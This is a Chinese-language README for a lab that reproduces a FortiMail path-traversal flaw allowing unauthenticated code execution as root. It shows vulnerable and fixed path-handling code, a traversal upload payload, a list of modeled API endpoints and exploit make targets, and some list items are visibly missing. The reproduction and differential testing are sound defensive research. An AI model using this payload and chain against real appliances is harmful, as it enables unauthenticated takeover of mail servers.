| CVE | CVE-2026-126147 |
| 组件 | Fortinet FortiMail — Web 管理界面 API |
| 安全公告 | Fortinet PSIRT FG-IR-26-199,发布于 2026-11-10 |
| 受影响版本 | FortiMail 8.0.0 – 8.0.1、7.6.0 – 7.6.6、7.4.0 – 7.4.8、7.2 所有版本 |
| 修复版本 | FortiMail 8.0.2、7.6.7、7.4.9;请从 7.2 迁移 |
| CWE | CWE-22 — 对受限目录的路径名限制不当(“路径遍历”) |
| 影响 | 未认证远程代码执行,以设备服务账户身份运行(在设备上为 root) |
| 向量 | 网络,未认证 — 向管理界面 API 发送精心构造的请求 |
| 触发点 | 文件写入或文件读取请求中由调用方提供的路径组件 |
| 致谢 | Fortinet PSIRT |
Fortinet 的安全公告(FG-IR-26-199)描述了 FortiMail 中对受限目录的路径名限制不当的问题,并指出该缺陷“可能允许未认证攻击者通过精心构造的请求执行未经授权的代码或命令”。该组件为 FortiMail API,向量为携带设备本不应离开其受限数据目录的路径的请求。
这正是此处复现的缺陷形态。管理界面请求携带由调用方提供的路径。设备将其与受限根目录拼接,并将结果交给文件系统。没有任何机制将拼接后的路径约束在根目录内,因此 ../ 可以逃逸。文件最终落在攻击者选择的位置,而在 FortiMail 上,这包括设备读取并执行的目录——从而将目录遍历转变为“执行未经授权的代码或命令”,且无需任何认证、任何先前访问权限和任何用户交互。
本仓库包含一个容器化实验环境,可端到端复现该缺陷,与已修复行为进行差分对比,针对修复后的代码行进行载荷与端点扫描,并测试该缓解措施在两种可能形式下的效果。
FortiMail 是专有软件。此处不重新分发其任何代码、二进制文件或配置,Fortinet 也未公布管理界面的端点列表或其路径处理方式。因此,此处可复现的内容为:
本仓库关于厂商产品的所有断言均来源于安全公告。关于模型的所有断言均如此标注。模型是实验环境中唯一运行的内容,其构建方式使易受攻击行为与已修复行为仅在路径处理上存在差异。
模型位于 lab/fortimail_web.py,通过 FML_MODE 选择:
FML_MODE | 行为 | 报告的版本 |
|---|---|---|
vuln | 调用方提供的路径与受限根目录拼接,无规范化且无包含性检查 — 遍历可逃逸 | 8.0.1 |
fixed | 对拼接后的路径进行解析,解析后的路径必须保持在受限根目录内;任何离开该目录的写入和读取均被拒绝 | 8.0.2 |
fixed-partial | 一种修复形态,使用字符串前缀测试将未规范化的拼接路径与根目录进行比较 | 8.0.2 |
fixed-partial 并非关于厂商补丁的断言。它是一次仓促修复所呈现的形态,之所以存在于此,是为了让扫描有一个既不是漏洞版本、也不是正确版本的目标。
模型有三个属性值得明确说明,因为每一个都会改变攻击者能做什么,而且每一个都是设备本身的属性,而非漏洞利用的属性:
shared-link),它指向设备脚本目录。整个缺陷就在于路径处理。在模型中它由三个函数构成,而漏洞版本与补丁版本在其中之一上存在差异。
漏洞版本将调用方提供的名称拼接到受限根目录上并返回结果,既没有规范化,也没有包含性检查——
lab/fortimail_web.py:141:
if MODE == "vuln":
# FortiMail 8.0.1 model: the caller-supplied name is appended to the
# restricted root and handed to the file system as it is.
try:
return os.path.join(ROOT, name), None
except (OSError, ValueError) as exc:
return None, "invalid path: %s" % exc
os.path.join() 是一个字符串操作。它不会解析 ..,不会注意到第二个组件是绝对路径,也不关心结果是否离开了本应停留的目录。对于名称 ../exec/pwn.sh 和根目录 /opt/lab/store,它返回:
/opt/lab/store/../exec/pwn.sh
文件系统将其解析为:
/opt/lab/exec/pwn.sh
修补后的构建会先解析路径,然后要求路径包含在指定范围内——
lab/fortimail_web.py:156:
# FortiMail 8.0.2 model: resolve, then require containment.
try:
target = os.path.realpath(os.path.join(ROOT, name))
except (OSError, ValueError) as exc:
return None, "invalid path: %s" % exc
if not _inside(target):
return None, "path outside the restricted directory"
return target, None
在 lab/fortimail_web.py:122 处进行遏制测试:
def _inside(path):
try:
root = os.path.realpath(ROOT)
real = os.path.realpath(path)
except (OSError, ValueError):
return False
return real == root or real.startswith(root + os.sep)
realpath() 正是让这项检查具有实际意义的关键。它会折叠 ..、解析符号链接,并使与根目录的比较成为两个绝对且完全解析路径之间的比较。仅仅以根目录开头的路径并不位于根目录之内,打过补丁的构建会以 HTTP 403 拒绝它。
写入操作本身不携带任何授权。模型中的管理接口在没有身份验证关卡的情况下提供 API,因为该公告将该缺陷评级为 AV:N/AC:L/PR:N/UI:N——请求在任何身份验证决策之前就被处理。lab/fortimail_web.py:371:
target, perr = resolve_write(name)
record_write(route, name, target, perr)
if perr:
self._json(403, {"error": perr, "path": name})
return
werr = write_file(target, data)
遍历之所以会演变为代码执行,是因为设备会执行落入其脚本目录中的内容。lab/fortimail_web.py:219:
def run_if_executed(target):
"""The appliance's maintenance task runner executes what lands in the script
directory. This is the sink that turns the traversal into code execution."""
try:
real = os.path.realpath(target)
execroot = os.path.realpath(EXEC_DIR)
except OSError:
return
if not (real.startswith(execroot + os.sep) or real == execroot):
return
try:
proc = subprocess.run(
["/bin/sh", real],
capture_output=True,
timeout=20,
)
检查是在解析后的路径上执行的,因此它对符号链接和 .. 遍历同样有效:通过链接的数据目录到达脚本目录的文件,与通过 ../ 到达的文件执行方式完全相同。
unauthenticated attacker FortiMail appliance
─────────────────────── ────────────────────
POST /api/v1/attachment/upload
{"filename": "../../../opt/lab/exec/x.sh",
"content_b64": "<script>"}
│
▼
┌──────────────────────────────────────────────────────────────┐
│ management interface API │
│ decode the path → join to the restricted root │
│ no containment check → the file is written outside it │
└──────────────────────────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────────────┐
│ appliance script directory → maintenance task runner │
│ /bin/sh <file> as the appliance service account (root) │
└──────────────────────────────────────────────────────────────┘
建模接口的四个端点都接受调用方提供的路径,而扫描会逐一测试它们:
| 端点 | 形态 | 方向 |
|---|---|---|
POST /api/v1/attachment/upload | JSON {"filename", "content_b64"} | 写入 |
POST /api/v1/config/import | multipart/form-data,filename 部分 | 写入 |
POST /api/v1/ibe/key | JSON {"name", "content_b64"} | 写入 |
GET /api/v1/attachment/download?path= | 查询参数 | 读取 |
读取方向对修复至关重要:只限制写入路径而不限制读取路径的修复,仍会留下任意文件泄露问题。修补后的模型对两者都加以限制。
Podman 网络 cve126147lab;每个容器都受到资源限制(--cpus 2 --memory 4g)。
| 容器 | 角色 | 模式 |
|---|---|---|
fortimail-vuln | FortiMail 8.0.1 模型——存在漏洞 | FML_MODE=vuln |
fortimail-fixed | FortiMail 8.0.2 模型——已修补 | FML_MODE=fixed |
fortimail-fixed-partial | 前缀测试修复形态 | FML_MODE=fixed-partial |
| poc 运行器(临时) | 概念验证,仅使用标准库的 Python | — |
三个设备模型运行同一个镜像,仅在 FML_MODE 上有所不同:相同的基础镜像、相同的代码路径、相同的配置、相同的入口点、相同的 TLS 监听器。
有两个细节使复现忠实可靠,而不仅仅是看似合理:
设备在容器内以 uid 0 运行,这与真实产品上设备服务账户的权限级别相同。
make prepare # build the two images and create the network
make up # start the three appliance models
make check-vuln # classification against the vulnerable model (exit 1 = vulnerable)
make check-fixed # classification against the patched model (exit 0 = safe)
make check-fixed-partial
make exploit-vuln # the full chain, with the execution marker
make exploit-fixed # the same chain against the patched model
make probe # the payload x endpoint matrix on the patched model
make mitigation # the mitigation, as published and as it takes effect
make 0day # the full sweep
make differential # the three-way differential table
make evidence # capture everything into evidence/
make down
run-lab.sh 暴露相同的目标
(./run-lab.sh up|check|exploit|probe|mitigation|0day|differential|evidence|down)。
poc/poc.py 在 PoC 运行器镜像内运行,并且仅使用 Python 标准库。
| 模式 | 作用 |
|---|---|
check | 分类:在受限目录内执行一次良性写入,然后对位于该目录之外的文件进行读取遍历。不会在目录外留下任何产物。 |
exploit | 完整攻击链:遍历写入、文件落入设备脚本目录、设备执行该文件,以及回读标记 |
probe | 针对已修补模型的 payload × endpoint 矩阵 |
mitigation | 厂商的临时规避方案(无)以及实际生效的缓解措施 |
0day | 针对已修补版本的完整扫描,并单独报告修复形态 |
退出码:
| 代码 | 含义 |
|---|---|
0 | 安全 — 设备拒绝了遍历 |
1 | 存在漏洞 — 遍历逃逸,或 payload 被执行 |
2 | 目标不可达 |
3 | 原语已确认,gadget 被阻止 |
4 | 无监听器 |